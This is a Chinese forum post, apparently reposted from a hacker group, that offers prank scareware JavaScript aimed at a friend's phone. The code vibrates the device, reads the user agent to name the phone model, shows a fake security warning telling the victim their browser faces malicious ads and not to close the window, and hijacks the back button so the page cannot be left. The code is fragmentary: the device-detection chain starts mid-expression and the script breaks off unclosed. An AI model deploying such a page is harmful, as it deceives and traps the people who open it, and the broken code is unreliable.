让你朋友的手机爆炸吧
//手机震动1秒
if (navigator.vibrate) {
navigator.vibrate(5000);//震动1000毫秒
} else if (navigator.webkitVibrate) {
navigator.webkitVibrate(5000);
}
LK-AL10")>-1||u.indexOf("
LK-TL01H")>-1?(str3="荣耀7",str4=str3):u.indexOf("KIW-TL00H")>-1?(str3="荣耀畅玩5X",str4=str3):u.indexOf("CHM-TL00H")>-1?(str3="荣耀畅玩4C",str4=str3):u.indexOf("SCL-TL00H")>-1?(str3="华为荣耀4A",str4=str3):u.indexOf("ATH-AL00")>-1?(str3="荣耀7i",str4=str3):u.indexOf("CHE-TL00H")>-1?(str3="荣耀4x",str4=str3):str.indexOf("SAMSUNG")>-1?(str3=str3.replace(/SAMSUNG/,"三星"),str3arr=str3.split("/"),str4=str3arr[0]):str.indexOf("SAMSUNG")>-1?(str3=str3.replace(/SAMSUNG/,"三星"),str3arr=str3.split("/"),str4=str3arr[0]):u.indexOf("HUAWEI")>-1?(str3=str3.replace(/HUAWEI/,""),str3arr=str3.split("/"),str4=str3arr[0],str4="华为"+str4):u.indexOf("; HW")>-1?(str3=str3.replace(/HW-/,""),str3arr=str3.split("/"),str4=str3arr[0],str4="华为"+str4):u.indexOf("K-Touch")>-1?(str3=str3.replace(/K-Touch/,""),str3arr=str3.split("/"),str4=str3arr[0],str4="天语"+str4):u.indexOf("lephone")>-1?(str3=str3.replace(/lephone/,"乐丰"),str3arr=str3.split("/"),str4=str3arr[0]):u.indexOf("Lenovo")>-1?(str3=str3.replace(/Lenovo/,"联想"),str3arr=str3.split("/"),str4=str3arr[0]):u.indexOf("; LE")>-1?(str3=str3.replace(/LE/,"乐视"),str3arr=str3.split("/"),str4=str3arr[0]):u.indexOf("; Le")>-1?(str3=str3.replace(/Letv/,"乐视"),str3=str3.replace(/Le/,"乐视"),str3arr=str3.split("/"),str4=str3arr[0]):u.indexOf("; NX")>-1?(str3="努比亚"+str3,str3arr=str3.split("/"),str4=str3arr[0]):u.indexOf("WOW")>-1?str4=""
str3arr=str3.split("/"),str3=str3arr[0],nn=str3.length,str4=15>nn?str3:"");str3="",str4="";
function is_touch_device() {
return 'ontouchstart' in window // works on most browsers
|| 'onmsgesturechange' in window; // works on ie10
};
alert('警告!\n\n您的'+str4+'手机浏览器 可能会遭到恶意广告骚扰!\n\n请根据提示进行检查浏览器.\n\n**请勿关闭本窗口**');
var ii = 0; // needed for safari
if (typeof history.pushState === "function") {
history.pushState("back", null, null);
window.onpopstate = function () {
history.pushState('back', null, null);
if(ii == 1) {
var popBack = $(".popup.fourth");
popBack.hide();
setTimeout(function(){
popBack.show();
if(popBack.hasClass("hidePop")) {
//alert("OK");
popBack.removeClass("hidePop");
} else {
$("a.button").click(function() {
popBack.addClass("hidePop");
return false;
});
}
},300);
window.navigator.vibrate(5000);来自群组: 中国红客联盟[西北]